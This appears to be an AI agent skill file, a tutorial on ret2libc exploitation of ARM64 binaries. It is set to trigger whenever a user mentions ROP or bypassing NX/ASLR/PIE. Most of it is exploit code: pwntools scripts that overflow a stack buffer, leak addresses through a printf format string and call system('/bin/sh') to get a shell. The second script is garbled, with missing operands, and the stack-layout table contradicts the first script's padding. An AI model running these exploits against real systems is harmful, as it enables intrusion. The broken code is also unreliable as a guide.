| name | ret2lib-arm64-exploitation |
| description | How to exploit ret2lib vulnerabilities on ARM64 binaries with stack buffer overflows. Use this skill whenever the user mentions ret2lib, ROP exploitation, ARM64 binary exploitation, printf format string leaks, stack buffer overflows on aarch64, or needs to bypass NX/ASLR/PIE protections. This skill covers both non-ASLR scenarios and ASLR/PIE bypass using printf leaks from the stack. |
Ret2lib ARM64 Exploitation
A skill for exploiting return-to-libc vulnerabilities on ARM64 binaries with stack buffer overflows.
When to use this skill
Use this skill when:
- You're working with ARM64/aarch64 binaries with buffer overflow vulnerabilities
- The binary has NX (non-executable stack) enabled
- You need to chain ROP gadgets to call libc functions like
system()
- ASLR or PIE is enabled and you need to leak addresses via format string vulnerabilities
- You're solving CTF challenges or analyzing vulnerable ARM64 binaries
Core Concepts
ARM64 Calling Convention
- x0-x7: First 8 function arguments
- x30: Link register (return address)
- sp: Stack pointer
- x29: Frame pointer
Ret2lib Attack Flow
- Overflow the buffer to control the return address (x30)
- Chain ROP gadgets to set up function arguments
- Jump to libc functions (system, printf, etc.)
- Bypass ASLR/PIE if enabled using format string leaks
Exploitation Workflow
Step 1: Analyze the Binary
checksec --file ./binary
objdump -d ./binary | less
readelf -s /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -E "printf|system"
strings /usr/lib/aarch64-linux-gnu/libc.so.6 | grep "/bin/sh"
Step 2: Find Stack Offset
Use pattern creation to find where the return address is overwritten:
pattern create 200
./binary < /tmp/pattern.txt
pattern search $x30
The output tells you the offset from buffer start to the saved return address.
Step 3: Find ROP Gadgets
Use ropper to find useful gadgets:
ropper --file ./binary --search "ldr x0"
ropper --file ./binary --search "ret"
Common useful gadget pattern:
ldr x0, [sp, #offset]; ldp x29, x30, [sp], #size; ret
This gadget:
- Loads x0 (first argument) from stack at offset
- Restores x29 (frame pointer) and x30 (return address)
- Returns to the address in x30
Step 4: Build the Payload
Non-ASLR Scenario
from pwn import *
p = process('./binary')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0)
x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)
payload = b"A" * stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
ASLR/PIE Bypass with Printf Leak
When ASLR and PIE are enabled, you need to leak addresses first:
Round 1: Leak PIE base
- Use format string vulnerability to leak a binary address
- Calculate PIE base address
- Return to main to get another input opportunity
Round 2: Leak libc and exploit
- Leak a libc address via format string
- Calculate libc base
- Build ret2system payload
from pwn import *
p = process('./binary')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
def leak_printf(payload, is_main_addr=False):
"""Leak address using format string vulnerability"""
p.sendlineafter(b">\n", payload)
response = p.recvline().strip()[2:]
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)
def expl_bof(payload):
p.recv()
p.sendline(payload)
main_address = leak_printf(b"%21$p", True)
print(f"Binary base: {hex(main_address)}")
stack_offset = 108
main_printf_offset = 0x860
ret2main = b"A" * stack_offset + p64(main_address + main_printf_offset)
expl_bof(ret2main)
libc_leaked = leak_printf(b"%25$p")
libc_base = libc_leaked - 0x26dc4
libc.address = libc_base
print(f"Libc base: {hex(libc_base)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
ldr_x0_ret = p64(libc.address + )
x29 =
x30 = p64(system)
fill = * ( - )
x0 = p64(binsh)
payload = * stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)
p.interactive()
Key Patterns
Printf Leak Format
%N$p - Print Nth argument on stack as pointer
- Find offsets by testing different values
- Binary addresses and libc addresses appear at different stack positions
Gadget Selection Criteria
- Must load x0 from a controllable stack location
- Must restore x29 and x30 properly
- Must end with
ret
- Prefer gadgets in libc (more reliable across runs)
Stack Layout for Gadget
[sp] -> gadget address
[sp+8] -> x29 (frame pointer, can be dummy)
[sp+10] -> x30 (return address, e.g., system)
[sp+18] -> padding (depends on gadget)
[sp+78] -> x0 (first argument, e.g., /bin/sh)
Common Issues and Solutions
Issue: Wrong offset calculation
Solution: Use pattern create and pattern search to find exact offset
Issue: Segmentation fault after payload
Solution: Check that x29 is set to a valid value (even if dummy)
Issue: Printf leak returns garbage
Solution: Try different format specifiers (%20$p, %21$p, etc.) until you find valid addresses
Issue: ASLR still randomizes addresses
Solution: Ensure you're leaking addresses before using them, and that libc.address is set correctly
Testing Checklist
Before finalizing an exploit:
References